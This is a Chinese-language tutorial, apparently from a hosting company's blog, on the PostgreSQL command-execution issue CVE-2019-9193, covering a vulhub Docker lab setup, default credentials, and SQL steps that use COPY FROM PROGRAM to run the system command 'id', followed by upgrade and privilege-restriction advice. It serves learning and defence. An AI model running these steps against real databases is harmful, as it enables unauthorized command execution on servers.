您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關PostgreSQL高權限命令執行漏洞CVE-2019-9193怎么處理,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
PostgreSQL( 讀作 Post-Gres-Q-L)是一個功能非常強大的、源代碼開放的客戶/服務器關系型數據庫管理系統(RDBMS)。采用類似MIT的許可協議,允許開發人員做任何事情,包括在開源或閉源產品中商用,其源代碼是免費提供的。
PostgreSQL特點:
? 支持WINDOWS、Linux、Solaris、macOS 、BSD。
? 支持文本、圖像、視頻、聲音等
? 支持ACID、關聯完整性、數據庫事務、Unicode多國語言。
? 支持臨時表,與物化視圖
? 支持SQL的許多功能,例如復雜的SQL查詢,子查詢,外鍵,觸發器,視圖,視圖,多進程并發控制(MVCC)、異步復制。
PostgreSQL是一個功能強大對象關系數據庫管理系統(ORDBMS)。由于9.3增加一個“COPY TO/FROM PROGRAM”功能。這個功能就是允許數據庫的超級用戶以及pg_read_server_files組中的任何用戶執行操作系統命令
9.3-11.2
1. 本次漏洞環境使用vulhub中的docker搭建,vulhub下載地址:
https://github.com/vulhub/vulhub
2.下載完成后使用xftp傳入安裝有docker和環docker-compose境的虛擬機中解壓并啟動環境
cd vulhub-master/postgres/CVE-2019-9193
docker-compose up -d
3.使用docker ps查看是否啟動成功
4.啟動成功后使用navicat連接數據庫,數據庫初始賬號密碼為postgres/
postgres
注:這個漏洞介于權限提升和任意代碼執行之間,它需要一些前提權限,這些權限可以是通過正常的登錄PostgreSQL也可以是通過SQL注入獲得與PostgreSQL交互的途徑。需要說明的是,上述兩種情形下都需要用戶是一個超級用戶或者是“pg_read_server_files”組用戶
1.執行刪除你想用來保存命令輸出但是可能存在的表,這一步可有可無
DROP TABLE IF EXISTS cmd_exec
2.創建用來保存命令輸出的表
CREATE TABLE cmd_exec(cmd_output text);
3.通過 “COPY FROM PROGRAM”執行系統命令
COPY cmd_exec FROM PROGRAM 'id'
4.將結果顯示出來
SELECT * FROM cmd_exec
5.執行其他命令
6.查看賬號信息
1.建議升級至最新版本
2.控制數據庫權限禁止普通用戶執行命令
關于“PostgreSQL高權限命令執行漏洞CVE-2019-9193怎么處理”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。